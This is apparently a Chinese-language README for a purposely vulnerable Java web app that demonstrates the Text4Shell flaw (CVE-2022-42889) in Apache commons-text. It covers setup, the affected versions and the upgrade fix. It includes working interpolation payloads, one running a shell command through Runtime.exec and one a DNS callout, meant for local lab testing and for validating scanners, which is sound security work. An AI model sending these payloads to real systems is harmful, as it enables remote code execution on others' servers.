CVE-2022-42889 PoC 测试应用程序

这是一个易受攻击的应用程序，作为漏洞 CVE-2022-42889 的概念验证而开发。

Maven 安装

为了运行此程序，你需要：

• JDK 17 或更高版本
• Maven

1. 克隆 Git 仓库

git clone https://github.com/securekomodo/text4shell-poc.git
cd text4shell-poc

2. 使用 Maven 安装以创建 JAR 文件

mvn clean install

这将在 ./target 文件夹中创建 JAR 文件 text4shell-poc-0.0.1-SNAPSHOT.jar

3. 启动 Web 服务器

java -jar ./target/text4shell-poc-0.0.1-SNAPSHOT.jar

这将在默认端口 8080 上的 localhost 启动一个 Web 服务器

4. 浏览到 Web 服务器

访问 http://localhost:8080/，你应该看到以下输出

Text4Shell POC Test -@securekomodo
将 payload 发送到 /reflected?poc=yourpayload
或将 payload 作为 userAgent 发送到 /blind

5. 手动利用或使用 text4shell-scan 进行扫描

示例利用 Payload

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/itworked')}

${dns:<burp collaborator host>)}

推荐的 URL 编码器用于成功演示利用： https://www.urlencoder.org/.

Docker

或者，你可以使用 Docker 来运行此 PoC：

1. 克隆 Git 仓库

git clone https://github.com/securekomodo/text4shell-poc.git
cd text4shell-poc

2. Docker 构建

docker build --tag=text4shell-poc .

3. Docker 运行

docker run -p 80:8080 text4shell-poc

4. 测试易受攻击的应用程序

http://localhost/

5. 攻击可以通过传递字符串 “${prefix:name}” 来执行，如下所示：

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

${dns:<burp collaborator host>)}

推荐的 URL 编码器用于成功演示利用： https://www.urlencoder.org/.

或者，你可以验证扫描工具（如 text4shell-scan）的有效性

你易受攻击吗？

为了使你的代码易受攻击，你需要：

• 运行 Apache commons-text 的版本从 1.5.0 到（不包括）1.10.0
• 在 StringSubstituion 中使用插值（参见 https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html）— 请注意，这并不常见

修复方法

修复方法是将你的 commons-text 实例更新到 1.10.0 或更高版本。

作者

Bryan Smith

• Twitter： https://twitter.com/securekomodo